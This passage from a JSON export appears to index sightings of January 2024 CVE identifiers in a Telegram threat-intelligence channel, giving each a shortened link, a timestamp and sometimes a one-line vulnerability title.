"https://ift.tt/i8T9BZm\nCVE-2024-22403", "creation_timestamp": "2024-01-18T21:26:20.000000Z"}, {"uuid": "8bc7920c-5115-4b26-aaf9-dbc43cca3795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22400", "type": "seen", "source": "https://t.me/ctinow/169943", "content": "https://ift.tt/sEAB8aY\nCVE-2024-22400", "creation_timestamp": "2024-01-18T21:26:19.000000Z"}, {"uuid": "23bf0086-d842-417a-ab89-9a049f8d9d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22213", "type": "seen", "source": "https://t.me/ctinow/169942", "content": "https://ift.tt/3V8EOrZ\nCVE-2024-22213", "creation_timestamp": "2024-01-18T21:26:16.000000Z"}, {"uuid": "b8fdd401-52e2-4301-b57e-7ff9440ae7a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22548", "type": "seen", "source": "https://t.me/ctinow/169813", "content": "https://ift.tt/rxLjV0J\nCVE-2024-22548", "creation_timestamp": "2024-01-18T16:31:48.000000Z"}, {"uuid": "5900fcfa-4986-4bd9-a3a9-bc618b33c98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22549", "type": "seen", "source": "https://t.me/ctinow/169803", "content": "https://ift.tt/Xl9Hqi8\nCVE-2024-22549", "creation_timestamp": "2024-01-18T16:21:47.000000Z"}, {"uuid": "82a6531c-f4e2-4660-ad57-c24a9569bd99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22198", "type": "seen", "source": "https://t.me/ctinow/166853", "content": "https://ift.tt/uBz0rx4\nCVE-2024-22198", "creation_timestamp": "2024-01-11T21:26:57.000000Z"}, {"uuid": "d40058e7-b033-4743-8d8b-e8fd9551cff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22196", "type": "seen", "source": "https://t.me/ctinow/166852", "content": "https://ift.tt/27MBHXF\nCVE-2024-22196", "creation_timestamp": "2024-01-11T21:26:55.000000Z"}, {"uuid": "9ef915a7-0b94-4e9a-b990-9780d4c2958a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22365", "type": "seen", "source": "https://t.me/ctinow/170187", "content": "https://ift.tt/UylImN8\nCVE-2024-22365", "creation_timestamp": "2024-01-19T13:31:37.000000Z"}, {"uuid": "2b67a9ce-62d1-419c-b05d-9d22ccdc005d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22195", "type": "seen", "source": "https://t.me/ctinow/166471", "content": "https://ift.tt/TSYOMcL\nCVE-2024-22195", "creation_timestamp": "2024-01-11T12:16:32.000000Z"}, {"uuid": "15287d34-c706-4b9b-8a34-e13df6417876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22415", "type": "seen", "source": "https://t.me/ctinow/169970", "content": "https://ift.tt/0L7mvsJ\nCVE-2024-22415", "creation_timestamp": "2024-01-18T22:21:38.000000Z"}, {"uuid": "07488c4e-cef0-4733-95b8-7a45c179a470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22404", "type": "seen", "source": "https://t.me/ctinow/169969", "content": "https://ift.tt/2gQrAV6\nCVE-2024-22404", "creation_timestamp": "2024-01-18T22:21:37.000000Z"}, {"uuid": "5a8dfd5a-94b1-496b-be50-0c582eea4bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22419", "type": "seen", "source": "https://t.me/ctinow/169911", "content": "https://ift.tt/Es4u0TH\nCVE-2024-22419", "creation_timestamp": "2024-01-18T20:31:25.000000Z"}, {"uuid": "3fa289ad-04d7-48da-b52e-1cc68ef32c20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22212", "type": "seen", "source": "https://t.me/ctinow/169910", "content": "https://ift.tt/PSCq3ey\nCVE-2024-22212", "creation_timestamp": "2024-01-18T20:31:22.000000Z"}, {"uuid": "b5bfa1ac-baf7-4808-9f24-ab879944db22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22942", "type": "seen", "source": "https://t.me/ctinow/169875", "content": "https://ift.tt/P0xqBnz\nCVE-2024-22942 Exploit", "creation_timestamp": "2024-01-18T19:16:42.000000Z"}, {"uuid": "99b230b3-8f9b-4148-971a-a623d4004511", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22317", "type": "seen", "source": "https://t.me/ctinow/169773", "content": "https://ift.tt/LbKG3nd\nCVE-2024-22317", "creation_timestamp": "2024-01-18T15:21:35.000000Z"}, {"uuid": "a3c66ed8-9fa6-47e4-bce9-2dde654da287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22414", "type": "seen", "source": "https://t.me/ctinow/169491", "content": "https://ift.tt/wzt91Bs\nCVE-2024-22414", "creation_timestamp": "2024-01-17T22:27:10.000000Z"}, {"uuid": "c6d75f10-97d9-4c58-8ab3-2a6db928bbae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22720", "type": "seen", "source": "https://t.me/ctinow/173027", "content": "https://ift.tt/STBibPZ\nCVE-2024-22720", "creation_timestamp": "2024-01-24T19:26:56.000000Z"}, {"uuid": "8f982ecc-198b-4fbf-bd97-4ebd708e93a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22410", "type": "seen", "source": "https://t.me/ctinow/169490", "content": "https://ift.tt/MBKjkVF\nCVE-2024-22410", "creation_timestamp": "2024-01-17T22:27:07.000000Z"}, {"uuid": "c6572cd2-7bc5-42aa-9f29-89e473875cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22209", "type": "seen", "source": "https://t.me/ctinow/167770", "content": "https://ift.tt/LDyBChf\nCVE-2024-22209", "creation_timestamp": "2024-01-13T09:26:45.000000Z"}, {"uuid": "eaf0536d-2772-4c5a-91c3-0daf02fec146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22309", "type": "seen", "source": "https://t.me/ctinow/172744", "content": "https://ift.tt/FVuI0pW\nCVE-2024-22309", "creation_timestamp": "2024-01-24T13:26:17.000000Z"}, {"uuid": "dd09c7bf-7a54-4029-9033-6668e78558b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22087", "type": "seen", "source": "https://t.me/ctinow/172610", "content": "https://ift.tt/tcd4KCJ\nCVE-2024-22087 | foxweb Pico up to f3b69a6 Long URI main.c stack-based overflow (Issue 31)", "creation_timestamp": "2024-01-24T09:41:30.000000Z"}, {"uuid": "04b8774b-037e-46d3-aba3-d90382eb60ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22086", "type": "seen", "source": "https://t.me/ctinow/172606", "content": "https://ift.tt/Y1DCo7k\nCVE-2024-22086 | Cherry up to 4b877df http.c handle_request stack-based overflow", "creation_timestamp": "2024-01-24T09:41:25.000000Z"}, {"uuid": "c6e9fe97-de54-4103-a5f0-4472c9845714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22050", "type": "seen", "source": "https://t.me/ctinow/172604", "content": "https://ift.tt/D8N0OIy\nCVE-2024-22050 | iodine up to 0.7.33 Static File Service path traversal (GHSA-85rf-xh54-whp3)", "creation_timestamp": "2024-01-24T09:41:23.000000Z"}, {"uuid": "34bc52ba-be85-49ae-bdd8-e1d5039b7617", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22368", "type": "seen", "source": "https://t.me/ctinow/164915", "content": "https://ift.tt/ufreBQg\nCVE-2024-22368", "creation_timestamp": "2024-01-09T10:26:25.000000Z"}, {"uuid": "959f53a6-d484-417c-a72f-c374b8f54397", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22408", "type": "seen", "source": "https://t.me/ctinow/169054", "content": "https://ift.tt/MvDorxN\nCVE-2024-22408", "creation_timestamp": "2024-01-17T00:26:46.000000Z"}, {"uuid": "644ee8ca-d577-476b-a3fa-ea8138ecdde4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22407", "type": "seen", "source": "https://t.me/ctinow/169053", "content": "https://ift.tt/RKvTXgb\nCVE-2024-22407", "creation_timestamp": "2024-01-17T00:26:45.000000Z"}, {"uuid": "e66ca1e5-11c1-4887-bfb5-40dc632aa474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22406", "type": "seen", "source": "https://t.me/ctinow/169052", "content": "https://ift.tt/uKIbym4\nCVE-2024-22406", "creation_timestamp": "2024-01-17T00:26:44.000000Z"}, {"uuid": "4df5c943-4357-41da-8540-05d3efa3a2ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22428", "type": "seen", "source": "https://t.me/ctinow/168623", "content": "https://ift.tt/6yvTDIQ\nCVE-2024-22428", "creation_timestamp": "2024-01-16T05:26:35.000000Z"}, {"uuid": "e944e7e6-0e13-4ee7-bd52-6f0b0ca8b81e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22362", "type": "seen", "source": "https://t.me/ctinow/168622", "content": "https://ift.tt/d6cGw1S\nCVE-2024-22362", "creation_timestamp": "2024-01-16T05:26:34.000000Z"}, {"uuid": "4e119b05-fa6c-4ba1-9a06-a07f85d96af0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22916", "type": "seen", "source": "https://t.me/ctinow/173080", "content": "https://ift.tt/WUOLeAo\nCVE-2024-22916 Exploit", "creation_timestamp": "2024-01-24T21:16:19.000000Z"}, {"uuid": "47860396-dfe8-4d73-97cb-d52ae97c9a1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22203", "type": "seen", "source": "https://t.me/ctinow/172246", "content": "https://ift.tt/eiApTzw\nCVE-2024-22203", "creation_timestamp": "2024-01-23T19:26:45.000000Z"}, {"uuid": "04101ea9-a796-4ec5-9b41-d2146f8016bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22216", "type": "seen", "source": "https://t.me/ctinow/173368", "content": "https://ift.tt/au2JtXR\nCVE-2024-22216 | Microchip maxView Storage Manager up to 4.14.00.26064 Redfish Server improper authorization", "creation_timestamp": "2024-01-25T10:46:07.000000Z"}, {"uuid": "94dd35fa-d770-4d32-8d09-38874ddec4e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22207", "type": "seen", "source": "https://t.me/ctinow/168481", "content": "https://ift.tt/uDtIKH2\nCVE-2024-22207", "creation_timestamp": "2024-01-15T17:27:54.000000Z"}, {"uuid": "51132f08-1508-480c-bdb1-efe28723028a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22028", "type": "seen", "source": "https://t.me/ctinow/168203", "content": "https://ift.tt/zFgWLYh\nCVE-2024-22028", "creation_timestamp": "2024-01-15T08:26:08.000000Z"}, {"uuid": "110790a5-f145-4b92-8df5-ec5d211d5d06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22075", "type": "seen", "source": "https://t.me/ctinow/172613", "content": "https://ift.tt/ijqFRSd\nCVE-2024-22075 | firefly-iii up to 6.1.0 Webhooks cross site scripting", "creation_timestamp": "2024-01-24T09:41:34.000000Z"}, {"uuid": "4f8ab5fd-6819-4000-b8f0-5dd1f5b7d76b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22099", "type": "seen", "source": "https://t.me/ctinow/173317", "content": "https://ift.tt/S5zB3MX\nCVE-2024-22099", "creation_timestamp": "2024-01-25T08:26:43.000000Z"}, {"uuid": "00f213d5-787f-449b-9a9d-d696c7b425f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22705", "type": "seen", "source": "https://t.me/ctinow/172882", "content": "https://ift.tt/cBKl7Qh\nCVE-2024-22705", "creation_timestamp": "2024-01-24T16:16:22.000000Z"}, {"uuid": "1bc06a5a-cc80-469d-b60c-9e1c6af28739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22154", "type": "seen", "source": "https://t.me/ctinow/172783", "content": "https://ift.tt/PeV2q6c\nCVE-2024-22154", "creation_timestamp": "2024-01-24T14:26:53.000000Z"}, {"uuid": "632ea5d5-fe10-4523-9a57-0ba4db8f7273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22372", "type": "seen", "source": "https://t.me/ctinow/172538", "content": "https://ift.tt/F614X7O\nCVE-2024-22372", "creation_timestamp": "2024-01-24T06:26:37.000000Z"}, {"uuid": "714e29c5-1ec9-41a1-860e-ce1b0cc2d4ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22411", "type": "seen", "source": "https://t.me/ctinow/173089", "content": "https://ift.tt/xDXSAys\nCVE-2024-22411 Exploit", "creation_timestamp": "2024-01-24T21:16:30.000000Z"}, {"uuid": "eb592a23-60b1-44e7-8ea7-6dc2c55d0f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22191", "type": "seen", "source": "https://t.me/ctinow/173086", "content": "https://ift.tt/zIaE035\nCVE-2024-22191 Exploit", "creation_timestamp": "2024-01-24T21:16:26.000000Z"}, {"uuid": "5b2681fe-d069-4349-87f0-978623126b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22195", "type": "seen", "source": "https://t.me/ctinow/166304", "content": "https://ift.tt/d8E0sN6\nCVE-2024-22195", "creation_timestamp": "2024-01-11T04:32:16.000000Z"}, {"uuid": "08715038-a4ab-476d-b031-6774299ffa2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22194", "type": "seen", "source": "https://t.me/ctinow/166303", "content": "https://ift.tt/1OSb4h6\nCVE-2024-22194", "creation_timestamp": "2024-01-11T04:32:15.000000Z"}, {"uuid": "c9ce6191-d898-40df-8cc5-2cea0cac1c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22190", "type": "seen", "source": "https://t.me/ctinow/166288", "content": "https://ift.tt/1KnzJkM\nCVE-2024-22190", "creation_timestamp": "2024-01-11T03:21:30.000000Z"}, {"uuid": "6a85652d-3b97-4ab5-bb11-723f5b15bf9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22142", "type": "seen", "source": "https://t.me/ctinow/167647", "content": "https://ift.tt/dYzKRfZ\nCVE-2024-22142", "creation_timestamp": "2024-01-13T01:27:00.000000Z"}, {"uuid": "5c883fc1-9e2b-4366-8d20-82e2dfee3369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22137", "type": "seen", "source": "https://t.me/ctinow/167646", "content": "https://ift.tt/Nyq2P4r\nCVE-2024-22137", "creation_timestamp": "2024-01-13T01:26:59.000000Z"}, {"uuid": "dd7812fc-9e5d-41bb-ae9a-a78629ee23a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22714", "type": "seen", "source": "https://t.me/ctinow/173158", "content": "https://ift.tt/khBIKMm\nCVE-2024-22714 Exploit", "creation_timestamp": "2024-01-24T23:16:30.000000Z"}, {"uuid": "c2ba793d-beca-4e35-87c7-170a1ceefe43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22229", "type": "seen", "source": "https://t.me/ctinow/172984", "content": "https://ift.tt/3a2tPEv\nCVE-2024-22229", "creation_timestamp": "2024-01-24T18:26:31.000000Z"}, {"uuid": "8ea60a60-203b-4061-8b41-fc8a69e949c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22049", "type": "seen", "source": "https://t.me/ctinow/172588", "content": "https://ift.tt/D54yHPz\nCVE-2024-22049 | John Nunemaker httparty up to 0.20.0 Web Parameter unknown vulnerability (GHSA-5pq7-52mg-hr42)", "creation_timestamp": "2024-01-24T09:11:54.000000Z"}, {"uuid": "9406ac85-9ada-41b6-a499-5750fd47fe1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22751", "type": "seen", "source": "https://t.me/ctinow/173130", "content": "https://ift.tt/yzUx8gE\nCVE-2024-22751", "creation_timestamp": "2024-01-24T22:27:20.000000Z"}, {"uuid": "d5284028-189c-4525-a9a0-90997506024e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22725", "type": "seen", "source": "https://t.me/ctinow/172942", "content": "https://ift.tt/76E2hda\nCVE-2024-22725", "creation_timestamp": "2024-01-24T17:27:05.000000Z"}, {"uuid": "e49f3434-6152-4259-bcb6-003c069af01a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22651", "type": "seen", "source": "https://t.me/ctinow/172941", "content": "https://ift.tt/TjBYP5q\nCVE-2024-22651", "creation_timestamp": "2024-01-24T17:27:04.000000Z"}, {"uuid": "a2d32140-6afe-4cc5-bb48-c35637f63069", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22199", "type": "seen", "source": "https://t.me/ctinow/166762", "content": "https://ift.tt/o0SBgxh\nCVE-2024-22199", "creation_timestamp": "2024-01-11T19:37:35.000000Z"}, {"uuid": "67bab51f-c355-46e2-9872-f3d633fab624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22197", "type": "seen", "source": "https://t.me/ctinow/166761", "content": "https://ift.tt/GPrAfpD\nCVE-2024-22197", "creation_timestamp": "2024-01-11T19:37:34.000000Z"}, {"uuid": "909bcdd1-1cc6-4746-8e1a-4ea31a7dad97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22660", "type": "seen", "source": "https://t.me/ctinow/172095", "content": "https://ift.tt/U7XKHDk\nCVE-2024-22660", "creation_timestamp": "2024-01-23T16:26:51.000000Z"}, {"uuid": "c4d2c58c-d397-4725-a106-9950c4bb845d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22141", "type": "seen", "source": "https://t.me/ctinow/172894", "content": "https://ift.tt/cPdg8qT\nCVE-2024-22141", "creation_timestamp": "2024-01-24T16:26:05.000000Z"}, {"uuid": "6bc00865-265b-4df7-91da-ced890745d55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22715", "type": "seen", "source": "https://t.me/ctinow/173155", "content": "https://ift.tt/4nIgCRL\nCVE-2024-22715 Exploit", "creation_timestamp": "2024-01-24T23:16:26.000000Z"}, {"uuid": "48bea705-8866-4a84-bc4b-90629ebf3716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22284", "type": "seen", "source": "https://t.me/ctinow/172740", "content": "https://ift.tt/Zif0ke1\nCVE-2024-22284", "creation_timestamp": "2024-01-24T13:26:10.000000Z"}, {"uuid": "50d8b41b-444e-448a-bb15-68eb084c9471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22497", "type": "seen", "source": "https://t.me/ctinow/172277", "content": "https://ift.tt/LhrO6tu\nCVE-2024-22497", "creation_timestamp": "2024-01-23T20:27:04.000000Z"}, {"uuid": "f5d73beb-9872-4c3c-8979-b05b8fadc06b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22308", "type": "seen", "source": "https://t.me/ctinow/172743", "content": "https://ift.tt/l1TRQLg\nCVE-2024-22308", "creation_timestamp": "2024-01-24T13:26:16.000000Z"}, {"uuid": "5426f9ba-7d04-4af7-8e59-54e6cc219282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22301", "type": "seen", "source": "https://t.me/ctinow/172742", "content": "https://ift.tt/tqs3K2z\nCVE-2024-22301", "creation_timestamp": "2024-01-24T13:26:15.000000Z"}, {"uuid": "1492f7f7-18e7-4cf3-8fcf-45e1b33849cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22294", "type": "seen", "source": "https://t.me/ctinow/172741", "content": "https://ift.tt/E4QO2LY\nCVE-2024-22294", "creation_timestamp": "2024-01-24T13:26:14.000000Z"}, {"uuid": "62e33a62-ab43-4a16-a89e-e28bac212f19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22152", "type": "seen", "source": "https://t.me/ctinow/172739", "content": "https://ift.tt/dVH5094\nCVE-2024-22152", "creation_timestamp": "2024-01-24T13:26:09.000000Z"}, {"uuid": "b148e889-69d8-4a92-ad09-bf409d5c806a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22134", "type": "seen", "source": "https://t.me/ctinow/172737", "content": "https://ift.tt/xWnp8XU\nCVE-2024-22134", "creation_timestamp": "2024-01-24T13:26:07.000000Z"}, {"uuid": "63d6df26-b84e-41ee-b388-8eec48617e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22135", "type": "seen", "source": "https://t.me/ctinow/172738", "content": "https://ift.tt/2fF4S8Y\nCVE-2024-22135", "creation_timestamp": "2024-01-24T13:26:08.000000Z"}, {"uuid": "73c3b1e0-3ee0-4722-8b8f-e708b8842931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22051", "type": "seen", "source": "https://t.me/ctinow/172587", "content": "https://ift.tt/NWSJaVZ\nCVE-2024-22051 | CommonMarker up to 0.23.3 integer overflow (GHSA-fmx4-26r3-wxpf)", "creation_timestamp": "2024-01-24T09:11:53.000000Z"}, {"uuid": "a857fce7-ebb3-4bec-85ac-7cfbd3b61479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22496", "type": "seen", "source": "https://t.me/ctinow/172209", "content": "https://ift.tt/A5jES4m\nCVE-2024-22496", "creation_timestamp": "2024-01-23T18:26:36.000000Z"}, {"uuid": "bd1d73d4-dd7b-421b-88c7-e07979fa4a03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22490", "type": "seen", "source": "https://t.me/ctinow/172208", "content": "https://ift.tt/W0zR6H1\nCVE-2024-22490", "creation_timestamp": "2024-01-23T18:26:35.000000Z"}, {"uuid": "bdbd7928-a56e-41f8-bb9e-b9a228b8d2a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22088", "type": "seen", "source": "https://t.me/ctinow/172611", "content": "https://ift.tt/pXjGyUH\nCVE-2024-22088 | Lotos up to 0.1.1 buffer.h buffer_avail use after free", "creation_timestamp": "2024-01-24T09:41:31.000000Z"}, {"uuid": "cc442488-70de-4552-91e4-7190bb4287b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22417", "type": "seen", "source": "https://t.me/ctinow/172249", "content": "https://ift.tt/uFAkzjW\nCVE-2024-22417", "creation_timestamp": "2024-01-23T19:26:48.000000Z"}, {"uuid": "4b75df8d-b5fa-470f-96a9-37abb71d31c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22205", "type": "seen", "source": "https://t.me/ctinow/172248", "content": "https://ift.tt/D5ZM61H\nCVE-2024-22205", "creation_timestamp": "2024-01-23T19:26:47.000000Z"}, {"uuid": "5c2bf8b2-8895-49b7-bfac-b15b2eabf07d", "vulnerability_lookup_origin": 